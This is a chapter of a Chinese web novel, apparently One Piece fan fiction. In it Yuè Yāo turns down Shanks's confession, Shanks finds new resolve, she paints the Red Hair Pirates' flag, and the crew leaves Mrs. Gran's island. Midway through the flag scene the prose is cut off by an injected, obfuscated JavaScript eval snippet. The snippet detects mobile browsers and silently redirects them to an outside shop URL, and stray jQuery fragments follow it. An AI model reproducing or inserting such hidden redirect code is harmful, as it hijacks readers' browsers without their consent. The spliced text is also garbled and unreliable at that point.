144.第 144 章
作品:《在伟大航路跑商很合理吧》 月邀的愕然只持续了短短一瞬。她不知道香克斯为何会知晓她与马尔科的事情,这背后或许有她不清楚的缘由,但此刻这不是关键。
“我很高兴你能如此坦诚地表达你的心意,香克斯。”月邀说道,“但是请你先告诉我,一个会被不安所左右,需要通过与别人比较来确认自身价值的男人,真的准备好成为别人的依靠了吗?”
香克斯张了张嘴,却发现自己发不出任何声音。
“我对马尔科,有我的感情和相处方式。我对你,同样有独一无二的珍视。但这份珍视,是建立在‘你是香克斯’这个基础上的,而不是建立在‘你比马尔科更好’或者‘你必须取代谁’的基础上。它们是不同的,无法简单比较,更不该成为你困住自己的枷锁。”
“香克斯,我认识的你,是那个想要环游世界的自由海贼。看看现在的你,你自由的意志被什么东西蒙住了?你应该属于大海,你现在又被什么东西绊住了手脚?”
这番话如同当头棒喝,香克斯踉跄着后退了半步,脸上血色尽褪。月邀没有斥责他的感情,却毫不留情地指出了他现在状态的可悲。“我……”他的喉咙干涩得发疼。
“感情应该是让彼此都变得更好的力量,而不是相互消耗的漩涡。”月邀眼神柔和了些许,“香克斯,我很珍惜我们之间的羁绊,珍惜你是我的船长这个事实。所以,我无法用敷衍或者谎言来回应你此刻的混乱。在我们都更清楚自己究竟想要什么之前,我想我们需要一些空间。”
看着他瞬间黯淡下去的眼神,月邀心中不忍,但她知道,此刻的心软才是对彼此最大的不负责。她轻轻叹了口气:“宴会快要开始了,大家还在等我们。香克斯,你是红发海贼团的船长,别让信赖你的伙伴久等。”
说完,她不再停留,转身沿着来路向着广场的方向走去,没有回头。
香克斯独自一人僵立在悬崖边,痛苦如同潮水般淹没了他。但紧接着,一种更强烈的情绪涌了上来,是对自己刚才那副难看模样的极度厌恶。
“是啊,我刚才……到底在做什么……”他喃喃自语,拳头紧紧握起,“真是……太难看了。”
如果他连自己的情绪都掌控不了,又有什么资格去奢望她?又凭什么说让她依靠?
明月高悬,不独照我。
他的嘴角扯起一个苦涩却逐渐坚定的弧度,“那就……让我自己,也成为能与之辉映的光吧。”
他不会再焦虑,不会再患得患失地追问。他要做的,是成为那个配得上站在她身边的男人,用他征服大海的壮志豪情去吸引她,让她心甘情愿地看向他,而不是阻止她的路和选择。
香克斯深吸了一口气,将所有的迷茫和痛苦都随着这口气吐了出去。他整理了一下被风吹乱的衣领和披风,脸上的慌乱和脆弱被一种沉淀下来的决心所取代。
他明白了接下来的路该怎么走。
广场上,宴会的气氛已经热烈起来。
人们暂时忘却了伤痛,围着篝火唱歌、跳舞、分享着食物和酒水。月邀正被几个孩子围着,听他们叽叽喳喳地讲述岛上的趣事,她脸上带着温和的笑意,偶尔点头回应。
香克斯的到来引起了一阵小小的欢呼。他径直走向人群中心,拿过一杯酒,跳上一个稍高的木箱。
“各位!”他朗声开口,吸引了所有人的目光。就连月邀也略带诧异地抬头望向他。
香克斯的脸上洋溢着属于少年船长的爽朗笑容,仿佛刚才悬崖边的阴翳从未存在过。“今晚,为了庆祝新生,为了自由的明天,干杯!”
“干杯——!!”更热烈的欢呼爆发出来,人们激动地举杯相碰,酒液飞溅,笑声震天。香克斯仰头,将杯中酒一饮而尽,喉结滚动,随即畅快地哈出一口酒气,笑容越发不羁。他跳下木箱,瞬间便被热情的人群包围。
他没有再像之前那样,有意无意地总想待在月邀视线所及的中心,或是寻找机会凑近她。他真正投入了这场宴会,他与船匠用力碰杯,听对方吹嘘当年的航海经历,听得津津有味;他被几个半大孩子拉去掰手腕,故意龇牙咧嘴假装不敌,最后“艰难”获胜,引来孩子们不服气的喧闹和大人们的哄笑;他甚至跟着欢快的鼓点唱起了歌,带着海贼特有的野性魅力,引得周围人纷纷加入,场面更加热闹。
贝克曼靠在稍远的阴影里抽着烟,眯眼打量着香克斯。他看到了香克斯眼神的变化,那里面沉淀了一些东西。他微微挑了挑眉,只是将目光投向安静坐在篝火旁的月邀。
月邀依然在原地,孩子们不知何时已散去玩耍。她手中捧着一杯果汁,目光追随着人群中那个耀眼的红发身影。看着他与村民勾肩搭背地唱歌,看着他被灌酒时豪迈却不失分寸的模样,看着他自然而然成为凝聚欢乐的中心。
她必须承认,此刻的香克斯,身上有一种令人侧目的光芒。那不仅仅是少年人的热血,更初具了一些未来四皇的气度——自信、包容、引领人心,并且,自由。他似乎真的,把那些困住他的情绪枷锁,暂时抛在了脑后。
宴会渐入酣境,香克斯拎着一个酒瓶,脸上带着酒意熏染的微红,步伐却依然稳健。他走到月邀身边,很自然地坐在了旁边空出的圆木上,将酒坛递向她。
“小月,”他的声音比平时低沉一些,“尝尝这个,格兰太太自己酿的,味道很烈,但很痛快。”
月邀接过,没有立刻喝,只是看着他,“看来你喝了不少。”
“哈哈,开心嘛!”香克斯笑了一声,自己也拿起另一瓶喝了一口,随即舒服地叹了口气。他望着跳跃的篝火,沉默了片刻,忽然开口:“谢谢。”
“谢我什么?”月邀问。
“谢谢你那番话。”香克斯转过头,直视着她,“你说得对。我差点忘了自己是谁,被情绪绊住手脚,可不是海贼该有的样子。”
他咧开嘴,笑容里带着一股野性难驯的意气:“这个世界,有太多东西等着我去见识。南极也好,北极也好,我要让我的船到达所有海域!到时候,”他身体微微前倾,“你一定会发现,和我一起冒险,是这个世界上最棒的选择之一!”
“很棒的野心,船长。”月邀的声音柔和下来,“那么,我就拭目以待了。”
香克斯眼睛猛地亮了一下,他大笑起来,举起酒瓶与她手中的轻轻一碰。
“当——!”
时间在忙碌与协作中悄然流逝了两天。托蒙特王国居民们爆发出的感激与热情转化为了高效的行动力,新船的骨架在港口边以惊人的速度成型。叮叮当当的敲击声成了这两日的主旋律。
月邀除了偶尔去查看一下居民们的身体情况,大部分时间都留在格兰太太家那间临时充当工坊的屋子里。桌上摊开着来自新世界的特殊布料,这是她过去跑商时换得的珍品,不惧水火,色泽永固,正是制作一面能够伴随海贼团历经风雨的旗帜的理想材料。
她需要完成的,除了要交付给自勇军的那批货物,更重要的是设计并绘制出属于红发海贼团的海贼旗。
她闭目回忆,脑海中浮现出原作里那面经典旗帜的样式:骷髅,交叉的西洋剑,背景是……她睁开眼,蘸取特制的防水颜料,先在脑中勾勒,再于布料上慎重落笔。
骷髅的形象需要兼顾威慑与特色,西洋剑则代表了香克斯未来的战斗风格。画到一半,她顿了顿,觉得似乎少了点什么,便起身去寻了香克斯和贝克曼。
两人被叫来看初稿。
“怎么样?”月邀问。
香克斯点头:“这个骷髅看起来很酷!背后的双剑也帅!”贝克曼也颔首:“布局和意象都合适。”
月邀松了口气,继续完善细节。她全神贯注,笔尖滑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031823|188761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动,不知不觉间习惯性地在骷髅右眼的位置,添上了三道红色斜线。
最后一笔画完,她退后两步审视整体效果,香克斯和贝克曼也再次凑近。香克斯摸着下巴,依旧赞不绝口,但眼神里多了点探究:“小月画得真好!不过这个骷髅眼睛上的三条红线是什么?特别的装饰?还是……伤疤?”他指了指那醒目的红色痕迹,有些好奇,“看起来像是被什么东西划过的样子。”
月邀闻言,恍然惊觉,迅速抬眼看向香克斯年轻的脸庞,眉眼锐利,眼睛周围完好无损,哪里有什么伤疤?那是属于未来的印记。
“抱歉!”她立刻伸手,想将那块布料收起来,“是我画错了,我重新画一幅。”
“哎?画错了?”香克斯反应很快,先一步按住了布料的另一边,笑嘻嘻地说,“别收嘛!就算画错了,也是小月亲手画的我们海贼团的旗子啊,我要收藏起来。”
月邀看着他坚持的模样,无奈地松了手:“随你吧。不过正式挂上船的,得重画。”
“没问题。”香克斯小心将那幅错版旗帜卷起收好。
月邀重新铺开一块同样的黑布,这次心无旁骛,很快,一面没有那道未来伤疤的红发海贼旗便完成了。贝克曼接过旗帜,亲自将其挂上了那艘已经完工,正静静停泊在港口的新船主桅。
物资搬运的工作在众人的协助下高效完成,离别的时刻终究到来。
港口挤满了前来送行的人。格兰太太牵着露比,站在人群的最前方,身后是许许多多被他们从绝望中拉回的托蒙特居民。
格兰太太的视线长久地落在香克斯身上,她嘴唇嚅动了几下,终于开口:“孩子,好几天了,我都没来得及好好问问你……你叫什么名字?”
香克斯正检查着最后一箱货物是否绑牢,闻言回过头,露出灿烂的笑容:“我没说过吗?我叫香克斯。”
格兰太太瞳孔骤缩,握着露比的手瞬间收紧,露比担忧地看向奶奶。但只是短短一瞬,格兰太太便强行稳住了呼吸,将所有的惊涛骇浪压回眼底深处,只剩下微微泛红的眼眶泄露了一丝心绪。“香克斯啊……”她喃喃着,努力让声音听起来平稳,“真是个好名字。”
她仔细端详着少年飞扬的红发,半晌,她才再次开口:“你……很喜欢大海吧?当海贼,是你的梦想吗?”
香克斯虽然对格兰太太刚才一瞬间的异常有些许察觉,但并未深想。听到这个问题,他笑容更加明亮,那是对未来的向往:“自由才是我的梦想!大海能带我去任何地方,见证一切不可思议!我很喜欢大海,以后也会一直属于大海!”
格兰太太心中最后一点纠结释然了。她看着眼前这个意气风发的少年,仿佛看到了另一种生命的延续。她不该用过去的沉重去牵绊他未来的翅膀,他属于广阔无垠,就该恣意翱翔。
“是这样啊……”格兰太太点点头,用力眨去眼中的湿意,重新绽开一个温暖的笑容,“那么,再见了,香克斯。一定要活得比任何人都要自由。”她的声音低了下去,“一定要平安,你们三个都是。”
“那是当然!”香克斯跃上船舷,回头冲着岸上用力挥手,“我们可是很强的哦!”
贝克曼收起最后一截船锚,帆已经升起,海风鼓满。月邀站在香克斯身侧,也向着岸边的人群告别。
船只缓缓驶离港口,岸上的人们挥舞着手臂,呼喊声随着距离拉远而渐渐模糊。格兰太太一直站在那里,直到那艘悬挂着黑色海贼旗的船变成海天之际的一个小点。一直强忍的泪水终于顺着她布满皱纹的脸颊滑落。
虽然此生可能再难相见,但知晓女儿那命运多舛的双生子中,还有一缕如此灿烂的生命在延续,并且挣脱了宿命的阴影,找到了属于自己的航向,她心中那份积年累月的遗憾与悲痛,也被这海风吹散了些许,只留下最深切的祈愿。

